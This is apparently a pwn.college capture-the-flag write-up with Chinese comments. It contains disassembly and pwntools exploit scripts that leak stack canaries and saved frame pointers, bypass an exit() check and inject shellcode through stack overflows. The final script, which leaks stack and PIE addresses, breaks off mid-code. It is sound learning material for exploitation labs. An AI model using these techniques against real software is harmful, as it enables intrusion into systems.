            0x000019fc      f30f1efa       endbr64
            0x00001a00      55             push rbp
            0x00001a01      4889e5         mov rbp, rsp
            0x00001a04      4881ec0010..   sub rsp, segment.LOAD1
            0x00001a0b      48830c2400     or qword [rsp], 0
            0x00001a10      4883ec30       sub rsp, 0x30
            0x00001a14      89bdecefffff   mov dword [rbp - 0x1014], edi
            0x00001a1a      4889b5e0ef..   mov qword [rbp - section..plt], rsi
            0x00001a21      488995d8ef..   mov qword [rbp - 0x1028], rdx
            0x00001a28      64488b0425..   mov rax, qword fs:[0x28]
            0x00001a31      488945f8       mov qword [rbp - 8], rax
            0x00001a35      31c0           xor eax, eax
            0x00001a37      488b05e225..   mov rax, qword [obj.stdin]    ; [0x4020:8]=0
            0x00001a3e      b900000000     mov ecx, 0
            0x00001a43      ba02000000     mov edx, 2
# read() with user-controlled size (buffer overflow point)
            0x00001929      488b5580       mov rdx, qword [rbp - 0x80]
            0x0000192d      488b4588       mov rax, qword [rbp - 0x78]
            0x0000192d      488b4588       mov rax, qword [rbp - 0x78]
            0x00001931      4889c6         mov rsi, rax
            0x00001934      bf00000000     mov edi, 0
            0x00001939      e802f8ffff     call sym.imp.read           ;[3]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# buf -> canary
offset = 104


def exploit():
    p = process("/challenge/canary-conundrum-hard")
    # ==========================================
    # Phase 1: 探测 Canary
    # ==========================================
    p.sendlineafter(b"Payload size: ", str(offset + 1).encode())
    payload1 = b"REPEAT".ljust(offset, b"A") + b"X"
    p.sendafter(b"!\n", payload1)

    p.recvuntil(b"You said: ")
    p.recv(offset + 1)
    leak = p.recv(7)

    canary = u64(b"\x00" + leak)

    # ==========================================
    # Phase 2: 提取 Saved RBP
    # ==========================================
    p.sendlineafter(b"Payload size: ", str(offset + 9).encode())
    payload2 = b"REPEAT".ljust(offset, b"A") + b"Z" + p64(canary)[1:8] + b"Y"
    p.sendafter(b"!\n", payload2)

    p.recvuntil(b"You said: ")
    p.recv(offset + 9)

    raw_leak = p.recvuntil(b"\n", drop=True)

    # 只截取属于指针的 5 个有效字节，防止栈上的垃圾数据导致解包崩溃
    rbp_leak = raw_leak[:5]
    rbp = u64((b"\x00" + rbp_leak).ljust(8, b"\x00"))

    # Canary 校验只发生在函数即将返回（执行 leave; ret 指令之前）的那一刻。
    # 只要程序还在这个循环里处理你的 REPEAT 请求，它就没有执行到函数结尾，也就不会去检查 Canary

    # ==========================================
    # Phase 3: 完美精确的内存分配
    # ==========================================
    shellcode = asm(shellcraft.cat("/flag"))

    # 必须加上 len(shellcode)，否则内核会残酷地将其截断！
    payload3_size = offset + 24 + 1000 + len(shellcode)
    p.sendlineafter(b"Payload size: ", str(payload3_size).encode())

    # 构造 Payload：抵达 Canary -> 填充 Dummy -> 覆写 RIP -> 部署 NOP 滑橇 -> Shellcode
    payload3 = b"A" * offset
    payload3 += p64(canary)
    payload3 += b"B" * 8
    payload3 += p64(rbp)
    payload3 += b"\x90" * 1000
    payload3 += shellcode

    p.sendafter(b"!\n", payload3)

    result = p.recvall(timeout=1)
    if b"pwn.college{" in result or b"flag{" in result:
        print(result.decode().strip())
        return


if __name__ == "__main__":
    exploit()
1
2
3
4
5
6
7
hacker@program-security~canary-conundrum-hard:~$ python a.py
[+] Starting local process '/challenge/canary-conundrum-hard': pid 193
[+] Receiving all data: Done (181B)
[*] Process '/challenge/canary-conundrum-hard' stopped with exit code -11 (SIGSEGV) (pid 193)
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Goodbye!
pwn.college{******************************************}

A Crafty Clobber (Easy)

Write a full exploit involving injecting shellcode, and a method of tricking the challenge into executing your payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
hacker@program-security~a-crafty-clobber-easy:~$ /challenge/crafty-clobber-easy
# ...
We have disabled the following standard memory corruption mitigations for this challenge:
- the stack is executable. This means that if the stack contains shellcode
and you overwrite the return address with the address of that shellcode, it will execute.

Payload size: 1
You have chosen to send 1 bytes of input!
This will allow you to write from 0x7ffeab149990 (the start of the input buffer)
right up to (but not including) 0x7ffeab149991 (which is -101 bytes beyond the end of the buffer).
Send your payload (up to 1 bytes)!
1
You sent 1 bytes!

The program's memory status:
- the input buffer starts at 0x7ffeab149990
- the saved frame pointer (of main) is at 0x7ffeab149a10
- the saved return address (previously to main) is at 0x7ffeab149a18
- the saved return address is now pointing to 0x5e1d9f1c9849.
- the canary is stored at 0x7ffeab149a08.
- the canary value is now 0x3fe4e8b1513acc00.

buf to canary -> 120

You said: 1

This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()
call to see the hidden backdoor!

This challenge will, by default, exit() instead of returning from the
challenge function. When a process exit()s, it ceases to exist immediately,
and no amount of overwritten return addresses will let you hijack its control
flow. You will have to reverse engineer the program to understand how to avoid
making this challenge exit(), and allow it to return normally.
exit() condition triggered. Exiting!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
hacker@program-security~a-crafty-clobber-easy:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/crafty-clobber-easy
┌ 1299: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│ `- args(rdi, rsi, rdx) vars(9:sp[0x10..0xc0])
# canary
│           0x00002284      64488b0425..   mov rax, qword fs:[0x28]
│           0x0000228d      488945f8       mov qword [canary], rax
│           0x00002291      31c0           xor eax, eax
│           0x00002293      488d5580       lea rdx, [s]
│           0x00002297      b800000000     mov eax, 0
│           0x0000229c      b90e000000     mov ecx, 0xe
│           0x000022a1      4889d7         mov rdi, rdx
│           0x000022a4      f348ab         rep stosq qword [rdi], rax
│           0x000022a7      488d4580       lea rax, [s]
│           0x000022ab      48898578ff..   mov qword [buf], rax
│           0x000022b2      48c78570ff..   mov qword [nbyte], 0
│           0x00002692      488b8578ff..   mov rax, qword [buf]
# backdoor
│           0x00002699      488d355911..   lea rsi, str.REPEAT         ; 0x37f9 ; "REPEAT" ; const char *s2
│           0x000026a0      4889c7         mov rdi, rax                ; const char *s1
│           0x000026a3      e8e8eaffff     call sym.imp.strstr         ; char *strstr(const char *s1, const char *s2)
│           0x000026a8      4885c0         test rax, rax
│       ┌─< 0x000026ab      742f           je 0x26dc
│       │   0x000026ad      488d3d4c11..   lea rdi, str.Backdoor_triggered__Repeating_challenge__ ; 0x3800 ; "Backdoor triggered! Repeating challenge()" ; const char *s
│       │   0x000026b4      e857eaffff     call sym.imp.puts           ; int puts(const char *s)
│       │   0x000026b9      488b9548ff..   mov rdx, qword [var_b8h]    ; int64_t arg3
│       │   0x000026c0      488b8d50ff..   mov rcx, qword [var_b0h]
│       │   0x000026c7      8b855cffffff   mov eax, dword [var_a4h]
│       │   0x000026cd      4889ce         mov rsi, rcx                ; int64_t arg2
│       │   0x000026d0      89c7           mov edi, eax                ; int64_t arg1
│       │   0x000026d2      e88afbffff     call sym.challenge
│      ┌──< 0x000026d7      e982000000     jmp 0x275e
│      ││   ; CODE XREF from sym.challenge @ 0x26ab(x)
│      │└─> 0x000026dc      488d3d4711..   lea rdi, str.Goodbye_       ; 0x382a ; "Goodbye!" ; const char *s
│      │    0x000026e3      e828eaffff     call sym.imp.puts           ; int puts(const char *s)
# ...
# Check exit() condition
# if use exit() to exit the challenge, we can't get the return address, so we have to make the challenge return normally
│      │    0x00002724      488b45e8       mov rax, qword [var_18h]
│      │    0x00002728      48ba8b5979..   movabs rdx, 0x855cc253c479598b
│      │    0x00002732      4839d0         cmp rax, rdx
│      │┌─< 0x00002735      7416           je 0x274d
│      ││   0x00002737      488d3d7212..   lea rdi, str.exit___condition_triggered._Exiting_ ; 0x39b0 ; "exit() condition triggered. Exiting!" ; const char *s
│      ││   0x0000273e      e8cde9ffff     call sym.imp.puts           ; int puts(const char *s)
│      ││   0x00002743      bf2a000000     mov edi, 0x2a               ; '*' ; int status
│      ││   0x00002748      e823eaffff     call sym.imp.exit           ; void exit(int status)
│      ││   ; CODE XREF from sym.challenge @ 0x2735(x)
│      │└─> 0x0000274d      488d3d8412..   lea rdi, str.exit___condition_avoided__Continuing_execution. ; 0x39d8 ; "exit() condition avoided! Continuing execution." ; const char *s
│      │    0x00002754      e8b7e9ffff     call sym.imp.puts           ; int puts(const char *s)
│      │    0x00002759      b800000000     mov eax, 0
│      │    ; CODE XREF from sym.challenge @ 0x26d7(x)
│      └──> 0x0000275e      488b4df8       mov rcx, qword [canary]
│           0x00002762      6448330c25..   xor rcx, qword fs:[0x28]
│       ┌─< 0x0000276b      7405           je 0x2772
│       │   0x0000276d      e8aee9ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from sym.challenge @ 0x276b(x)
│       └─> 0x00002772      c9             leave
└           0x00002773      c3             ret

Payload 结构必须是这样：

[104 字节] 的垃圾填充数据（比如 b"A" * 104），这正好填满 buf 到 var_18h 之间的空隙。

[8 字节] value：p64(0x855cc253c479598b)，覆盖 [var_18h]，绕过 exit()。

[8 字节] 的垃圾填充数据（0x18 - 0x8 = 0x10，也就是 16 字节距离，减去刚刚写入的 8 字节魔法值，还需要 8 字节），用来走到 Canary 面前。

[8 字节] 的 Canary：原封不动地写回去，防止触发 __stack_chk_fail。

[8 字节] 的 Saved RBP：随便填，或者填入题干给你的 saved frame pointer。

[8 字节] 的 Saved RIP：填入题干给你的 input buffer starts at 的地址。

[N 字节] 的 Shellcode（既然题目说栈是可执行的，直接把 Shellcode 放在开头或者紧接着 RIP 后面跳过去执行就行）。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# buf -> canary
offset1 = 104

check = p64(0x855CC253C479598B)

offset2 = 8

buf_to_canary = offset1 + len(check) + offset2


def exploit():
    p = process("/challenge/crafty-clobber-easy")
    # ==========================================
    # Phase 1: 探测 Canary
    # ==========================================
    p.sendlineafter(b"Payload size: ", str(buf_to_canary + 1).encode())
    payload1 = b"REPEAT".ljust(offset1, b"A") + check + b"A" * offset2 + b"X"
    p.sendafter(b"!\n", payload1)

    p.recvuntil(b"You said: ")
    p.recv(buf_to_canary + 1)
    leak = p.recv(7)

    canary = u64(b"\x00" + leak)

    # ==========================================
    # Phase 2: 提取 Saved RBP
    # ==========================================
    p.sendlineafter(b"Payload size: ", str(buf_to_canary + 9).encode())
    payload2 = b"REPEAT".ljust(offset1, b"A") + check + b"A" * offset2 + b"Z" + p64(canary)[1:8] + b"Y"
    p.sendafter(b"!\n", payload2)

    p.recvuntil(b"You said: ")
    p.recv(buf_to_canary + 9)

    raw_leak = p.recvuntil(b"\n", drop=True)

    # 只截取属于指针的 5 个有效字节，防止栈上的垃圾数据导致解包崩溃
    rbp_leak = raw_leak[:5]
    rbp = u64((b"\x00" + rbp_leak).ljust(8, b"\x00"))

    # ==========================================
    # Phase 3: 完美精确的内存分配
    # ==========================================
    shellcode = asm(shellcraft.cat("/flag"))

    # 必须加上 len(shellcode)，否则内核会残酷地将其截断！
    payload3_size = buf_to_canary + 24 + 1000 + len(shellcode)
    p.sendlineafter(b"Payload size: ", str(payload3_size).encode())

    # 构造 Payload：抵达 Canary -> 填充 Dummy -> 覆写 RIP -> 部署 NOP 滑橇 -> Shellcode
    payload3 = b"A" * offset1 + check + b"A" * offset2
    payload3 += p64(canary)
    payload3 += b"B" * 8
    payload3 += p64(rbp)
    payload3 += b"\x90" * 1000
    payload3 += shellcode

    p.sendafter(b"!\n", payload3)

    result = p.recvall(timeout=1)
    if b"pwn.college{" in result:
        print(result)
        return


if __name__ == "__main__":
    exploit()

pwn.college{*******************************************}

A Crafty Clobber (Hard)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# buf -> rbp - 0x60
     0x00001b1b      488d45a0       lea rax, [rbp - 0x60]
     0x00001b1f      48894598       mov qword [rbp - 0x68], rax
     0x00001b23      48c7459000..   mov qword [rbp - 0x70], 0
     0x00001b2b      488d3dd604..   lea rdi, str.Payload_size:    ; 0x2008 ; "Payload size: "
     0x00001b32      b800000000     mov eax, 0
     0x00001b37      e8f4f5ffff     call sym.imp.printf         ;[1]
     0x00001b3c      488d4590       lea rax, [rbp - 0x70]
     0x00001b40      4889c6         mov rsi, rax
     0x00001b43      488d3dcd04..   lea rdi, [0x00002017]       ; "%lu"
     0x00001b4a      b800000000     mov eax, 0
     0x00001b4f      e80cf6ffff     call sym.imp.__isoc99_scanf ;[2]
     0x00001b54      488b4590       mov rax, qword [rbp - 0x70]
     0x00001b58      4889c6         mov rsi, rax
     0x00001b5b      488d3dbe04..   lea rdi, str.Send_your_payload__up_to__lu_bytes___n    ; 0x2020 ; "Send your payload (up to %lu bytes)!
     0x00001b62      b800000000     mov eax, 0
     0x00001b67      e8c4f5ffff     call sym.imp.printf         ;[1]
     0x00001b6c      488b5590       mov rdx, qword [rbp - 0x70]
     0x00001b70      488b4598       mov rax, qword [rbp - 0x68]
     0x00001b74      4889c6         mov rsi, rax
     0x00001b77      bf00000000     mov edi, 0
     0x00001b7c      e8bff5ffff     call sym.imp.read           ;[3]
# ...
# check -> rbp - 0x10
# check value -> 0xd355efb4bf7a0170
│    0x00001c1e      488b45f0       mov rax, qword [rbp - 0x10]
│    0x00001c22      48ba70017a..   movabs rdx, 0xd355efb4bf7a0170
│    0x00001c2c      4839d0         cmp rax, rdx
│┌─< 0x00001c2f      7416           je 0x1c47
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

# buf -> canary
offset1 = 80

check = p64(0xd355efb4bf7a0170)

offset2 = 0

buf_to_canary = 88


def exploit():
    p = process("/challenge/crafty-clobber-hard")
    # ==========================================
    # Phase 1: 探测 Canary
    # ==========================================
    p.sendlineafter(b"Payload size: ", str(buf_to_canary + 1).encode())
    payload1 = b"REPEAT".ljust(offset1, b"A") + check + b"A" * offset2 + b"X"
    p.sendafter(b"!\n", payload1)

    p.recvuntil(b"You said: ")
    p.recv(buf_to_canary + 1)
    leak = p.recv(7)

    canary = u64(b"\x00" + leak)

    # ==========================================
    # Phase 2: 提取 Saved RBP
    # ==========================================
    p.sendlineafter(b"Payload size: ", str(buf_to_canary + 9).encode())
    payload2 = b"REPEAT".ljust(offset1, b"A") + check + b"A" * offset2 + b"Z" + p64(canary)[1:8] + b"Y"
    p.sendafter(b"!\n", payload2)

    p.recvuntil(b"You said: ")
    p.recv(buf_to_canary + 9)

    raw_leak = p.recvuntil(b"\n", drop=True)

    # 只截取属于指针的 5 个有效字节，防止栈上的垃圾数据导致解包崩溃
    rbp_leak = raw_leak[:5]
    rbp = u64((b"\x00" + rbp_leak).ljust(8, b"\x00"))

    # ==========================================
    # Phase 3: 完美精确的内存分配
    # ==========================================
    shellcode = asm(shellcraft.cat("/flag"))

    # 必须加上 len(shellcode)，否则内核会残酷地将其截断！
    payload3_size = buf_to_canary + 24 + 1000 + len(shellcode)
    p.sendlineafter(b"Payload size: ", str(payload3_size).encode())

    # 构造 Payload：抵达 Canary -> 填充 Dummy -> 覆写 RIP -> 部署 NOP 滑橇 -> Shellcode
    payload3 = b"A" * offset1 + check + b"A" * offset2
    payload3 += p64(canary)
    payload3 += b"B" * 8
    payload3 += p64(rbp)
    payload3 += b"\x90" * 1000
    payload3 += shellcode

    p.sendafter(b"!\n", payload3)

    result = p.recvall(timeout=1)
    if b"pwn.college{" in result:
        print(result)
        return


if __name__ == "__main__":
    exploit()

pwn.college{******************************************}

Can It Fizz?

Exploit the binary to obtain the flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
hacker@program-security~can-it-fizz:~$ checksec /challenge/can-it-fizz
[*] '/challenge/can-it-fizz'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found #####
    NX:         NX unknown - GNU_STACK missing #####
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

hacker@program-security~can-it-fizz:~$ r2 -A -q -c "pdf @ sym.challenge" /challenge/can-it-fizz
┌ 466: sym.challenge (char **arg1, char **arg2, int64_t arg3);
│           0x000011e9      f30f1efa       endbr64
│           0x000011ed      55             push rbp
│           0x000011ee      4889e5         mov rbp, rsp
│           0x000011f1      4883c480       add rsp, 0xffffffffffffff80 # same to sub rsp, 0x80
│           0x000011f5      897d9c         mov dword [var_64h], edi    ; arg1
│           0x000011f8      48897590       mov qword [var_70h], rsi    ; arg2
│           0x000011fc      48895588       mov qword [var_78h], rdx    ; arg3
# buf -> rbp - 0x60
│           0x00001200      488d55a0       lea rdx, [buf]
│           0x00001204      b800000000     mov eax, 0
│           0x00001209      b90c000000     mov ecx, 0xc
│           0x0000120e      4889d7         mov rdi, rdx
│           0x00001211      f348ab         rep stosq qword [rdi], rax
│           0x00001214      488d45a0       lea rax, [buf]
│           0x00001218      4883c004       add rax, 4
# dest -> buf + 4
│           0x0000121c      488945f8       mov qword [dest], rax
│           0x00001220      488d45a0       lea rax, [buf]
│           0x00001224      4883c014       add rax, 0x14
# src -> buf + 0x14
│           0x00001228      488945f0       mov qword [src], rax
│           0x0000122c      c745ec0000..   mov dword [var_14h], 0
│           0x00001233      c745a01000..   mov dword [buf], 0x10
│           0x0000123a      488d45a0       lea rax, [buf]
│           0x0000123e      4883c044       add rax, 0x44
# 'Buzz' in buf + 0x44
│           0x00001242      c70042757a7a   mov dword [rax], 0x7a7a7542 ; 'Buzz'
│                                                                      ; [0x7a7a7542:4]=-1
│           0x00001248      66c740040a00   mov word [rax + 4], 0xa
│           0x0000124e      488d3daf0d..   lea rdi, str.Welcome_to_Fizz_Buzz_ ; 0x2004 ; "Welcome to Fizz Buzz!" ; const char *s
│           0x00001255      e866feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000125a      c745ec0000..   mov dword [var_14h], 0
│       ┌─< 0x00001261      e944010000     jmp 0x13aa
│       │   ; CODE XREF from sym.challenge @ 0x13b2(x)
│      ┌──> 0x00001266      8b55ec         mov edx, dword [var_14h]
│      ╎│   0x00001269      4863c2         movsxd rax, edx
│      ╎│   0x0000126c      4869c08988..   imul rax, rax, 0xffffffff88888889
│      ╎│   0x00001273      48c1e820       shr rax, 0x20
│      ╎│   0x00001277      01d0           add eax, edx
│      ╎│   0x00001279      c1f803         sar eax, 3
│      ╎│   0x0000127c      89c1           mov ecx, eax
│      ╎│   0x0000127e      89d0           mov eax, edx
│      ╎│   0x00001280      c1f81f         sar eax, 0x1f
│      ╎│   0x00001283      29c1           sub ecx, eax
│      ╎│   0x00001285      89c8           mov eax, ecx
│      ╎│   0x00001287      89c1           mov ecx, eax
│      ╎│   0x00001289      c1e104         shl ecx, 4
│      ╎│   0x0000128c      29c1           sub ecx, eax
│      ╎│   0x0000128e      89d0           mov eax, edx
│      ╎│   0x00001290      29c8           sub eax, ecx
│      ╎│   0x00001292      85c0           test eax, eax
│     ┌───< 0x00001294      7510           jne 0x12a6
│     │╎│   0x00001296      488d057b2d..   lea rax, obj.fuzzbuzz       ; 0x4018 ; "FizzBuzz\n"
│     │╎│   0x0000129d      488945f0       mov qword [src], rax
│    ┌────< 0x000012a1      e980000000     jmp 0x1326
│    ││╎│   ; CODE XREF from sym.challenge @ 0x1294(x)
│    │└───> 0x000012a6      8b4dec         mov ecx, dword [var_14h]
│    │ ╎│   0x000012a9      4863c1         movsxd rax, ecx
│    │ ╎│   0x000012ac      4869c05655..   imul rax, rax, 0x55555556
│    │ ╎│   0x000012b3      48c1e820       shr rax, 0x20
│    │ ╎│   0x000012b7      4889c2         mov rdx, rax
│    │ ╎│   0x000012ba      89c8           mov eax, ecx
│    │ ╎│   0x000012bc      c1f81f         sar eax, 0x1f
│    │ ╎│   0x000012bf      89d6           mov esi, edx
│    │ ╎│   0x000012c1      29c6           sub esi, eax
│    │ ╎│   0x000012c3      89f0           mov eax, esi
│    │ ╎│   0x000012c5      89c2           mov edx, eax
│    │ ╎│   0x000012c7      01d2           add edx, edx
│    │ ╎│   0x000012c9      01c2           add edx, eax
│    │ ╎│   0x000012cb      89c8           mov eax, ecx
│    │ ╎│   0x000012cd      29d0           sub eax, edx
│    │ ╎│   0x000012cf      85c0           test eax, eax
│    │┌───< 0x000012d1      750d           jne 0x12e0
│    ││╎│   0x000012d3      488d05362d..   lea rax, obj.fizz           ; 0x4010 ; "Fizz\n"
│    ││╎│   0x000012da      488945f0       mov qword [src], rax
│   ┌─────< 0x000012de      eb46           jmp 0x1326
│   │││╎│   ; CODE XREF from sym.challenge @ 0x12d1(x)
│   ││└───> 0x000012e0      8b4dec         mov ecx, dword [var_14h]
│   ││ ╎│   0x000012e3      4863c1         movsxd rax, ecx
│   ││ ╎│   0x000012e6      4869c06766..   imul rax, rax, 0x66666667
│   ││ ╎│   0x000012ed      48c1e820       shr rax, 0x20
│   ││ ╎│   0x000012f1      89c2           mov edx, eax
│   ││ ╎│   0x000012f3      d1fa           sar edx, 1
│   ││ ╎│   0x000012f5      89c8           mov eax, ecx
│   ││ ╎│   0x000012f7      c1f81f         sar eax, 0x1f
│   ││ ╎│   0x000012fa      29c2           sub edx, eax
│   ││ ╎│   0x000012fc      89d0           mov eax, edx
│   ││ ╎│   0x000012fe      89c2           mov edx, eax
│   ││ ╎│   0x00001300      c1e202         shl edx, 2
│   ││ ╎│   0x00001303      01c2           add edx, eax
│   ││ ╎│   0x00001305      89c8           mov eax, ecx
│   ││ ╎│   0x00001307      29d0           sub eax, edx
│   ││ ╎│   0x00001309      85c0           test eax, eax
│   ││┌───< 0x0000130b      750e           jne 0x131b
│   │││╎│   0x0000130d      488d45a0       lea rax, [buf]
│   │││╎│   0x00001311      4883c044       add rax, 0x44
│   │││╎│   0x00001315      488945f0       mov qword [src], rax
│  ┌──────< 0x00001319      eb0b           jmp 0x1326
│  ││││╎│   ; CODE XREF from sym.challenge @ 0x130b(x)
│  │││└───> 0x0000131b      488d05fe2c..   lea rax, obj.nothing        ; 0x4020 ; "\n"
│  │││ ╎│   0x00001322      488945f0       mov qword [src], rax
│  │││ ╎│   ; CODE XREFS from sym.challenge @ 0x12a1(x), 0x12de(x), 0x1319(x)
│  └└└────> 0x00001326      8b45ec         mov eax, dword [var_14h]
│      ╎│   0x00001329      89c6           mov esi, eax
│      ╎│   0x0000132b      488d3de80c..   lea rdi, str._d:            ; 0x201a ; "%d: " ; const char *format
│      ╎│   0x00001332      b800000000     mov eax, 0
│      ╎│   0x00001337      e894fdffff     call sym.imp.printf         ; int printf(const char *format)

│      ╎│   0x0000133c      488d45a0       lea rax, [buf]
│      ╎│   0x00001340      4883c014       add rax, 0x14    ; buf + 0x14 = rbp - 0x4c
│      ╎│   0x00001344      baf8000000     mov edx, 0xf8    ; size_t nbyte = 248
│      ╎│   0x00001349      4889c6         mov rsi, rax     ; buf = rbp - 0x4c
│      ╎│   0x0000134c      bf00000000     mov edi, 0       ; fd = stdin
│      ╎│   0x00001351      e8eafdffff     call sym.imp.read

│      ╎│   0x00001356      488d45a0       lea rax, [buf]
│      ╎│   0x0000135a      4883c014       add rax, 0x14
│      ╎│   0x0000135e      4889c6         mov rsi, rax
│      ╎│   0x00001361      488d3db70c..   lea rdi, str.You_entered:__s_n ; 0x201f ; "You entered: %s\n" ; const char *format
│      ╎│   0x00001368      b800000000     mov eax, 0
│      ╎│   0x0000136d      e85efdffff     call sym.imp.printf         ; int printf(const char *format)
│      ╎│   0x00001372      c645b400       mov byte [var_4ch], 0
│      ╎│   0x00001376      488b55f0       mov rdx, qword [src]
│      ╎│   0x0000137a      488b45f8       mov rax, qword [dest]
│      ╎│   0x0000137e      4889d6         mov rsi, rdx                ; const char *src
│      ╎│   0x00001381      4889c7         mov rdi, rax                ; char *dest
# strcpy check the src and dest in stack
│      ╎│   0x00001384      e827fdffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
│      ╎│   0x00001389      488b45f8       mov rax, qword [dest]
│      ╎│   0x0000138d      4889c6         mov rsi, rax
│      ╎│   0x00001390      488d3d990c..   lea rdi, str.Correct_answer:__s_n ; 0x2030 ; "Correct answer: %s\n" ; const char *format
│      ╎│   0x00001397      b800000000     mov eax, 0
│      ╎│   0x0000139c      e82ffdffff     call sym.imp.printf         ; int printf(const char *format)
│      ╎│   0x000013a1      8b45ec         mov eax, dword [var_14h]
│      ╎│   0x000013a4      83c001         add eax, 1
│      ╎│   0x000013a7      8945ec         mov dword [var_14h], eax
│      ╎│   ; CODE XREF from sym.challenge @ 0x1261(x)
# loop counter rbp - 0x14 compares buf
│      ╎└─> 0x000013aa      8b55ec         mov edx, dword [var_14h]
│      ╎    0x000013ad      8b45a0         mov eax, dword [buf]
│      ╎    0x000013b0      39c2           cmp edx, eax
│      └──< 0x000013b2      0f8caefeffff   jl 0x1266

│           0x000013b8      90             nop
│           0x000013b9      c9             leave
└           0x000013ba      c3             ret
1
2
3
4
5
0x0000126c      imul rax, rax, 0xffffffff88888889
...
0x000012ac      imul rax, rax, 0x55555556
...
0x000012e6      imul rax, rax, 0x66666667
  • % 15 == 0 (0x88888889 乘法逆元) -> 对应 FizzBuzz\n
  • % 3 == 0 (0x55555556 乘法逆元) -> 对应 Fizz\n
  • % 5 == 0 (0x66666667 乘法逆元) -> 对应 buf + 0x44 (即事先写好的 "Buzz")
  • 都不满足 -> 对应 \n
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# check buf?
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

p = gdb.debug(
    "/challenge/can-it-fizz",
    env={"SHELL": "/bin/bash"},
    gdbscript="""
b * challenge+360
continue
ni
""",
)
p.sendline(b"1")

# buf to rbp
p.send(cyclic(74))
p.interactive()
  • [buf] 位于 rbp - 0x60
  • 输入起点 buf + 0x14 = rbp - 0x4c
  • 循环计数器 var_14h = rbp - 0x14
  • 源字符串指针 src = rbp - 0x10
  • 目标字符串指针 dest = rbp - 0x8
  • Saved RBP = rbp
  • Saved RIP (Return Address) = rbp + 0x8

从输入起点 (rbp - 0x4c) 到循环计数器 (rbp - 0x14)，距离正好是 0x4c - 0x14 = 0x38，56 bytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"


def exploit():
    p = process("/challenge/can-it-fizz")

    # 推进到第 5 次循环 (var_14h == 5) 以触发 Buzz
    # 此时 src 将被指向 buf+0x44
    for i in range(6):
        p.recvuntil(f"{i}: ".encode())
        if i < 5:
            p.send(b"A")

    # 56 bytes padding + 覆盖 var_14h 为 -1 (\xff\xff\xff\xff)
    # 这样没有 null byte 截断，printf 会一直打印出后面的 src 指针
    # 同时 -1 + 1 = 0，0 < 16，循环会继续，不会退出。
    payload_leak_stack = b"A" * 56 + b"\xff\xff\xff\xff"
    p.send(payload_leak_stack)

    p.recvuntil(b"You entered: " + payload_leak_stack)
    stack_leak = u64(p.recv(6).ljust(8, b"\x00"))

    buf_addr = stack_leak - 0x44
    rbp_addr = buf_addr + 0x60
    log.info(f"[+] Stack Leaked! buf address: {hex(buf_addr)}")

    # 此时 var_14h 变回 0，触发 FizzBuzz，src 指向只读数据段 (PIE)
    p.recvuntil(b"0: ")

    payload_leak_pie = b"A" * 56 + b"\xff\xff\xff\xff"
    p.send(payload_leak_pie)

    p.recvuntil(b"You entered: " + payload_leak_pie)
    pie_leak = u64(p.recv(6).ljust(8, b"\x00"))
    pie_base = pie_leak - 0x4018
    log.info(f"[+] PIE Leaked! base address: {hex(pie_base)}")

    p.recvuntil(b"0: ")

    dest_addr = rbp_addr - 0x200  # 在栈上找个安全区让 strcpy 复制
    src_addr = pie_base + 0x4018  # 填入一个合法的只读地址，防止 strcpy 触发 SIGSEGV
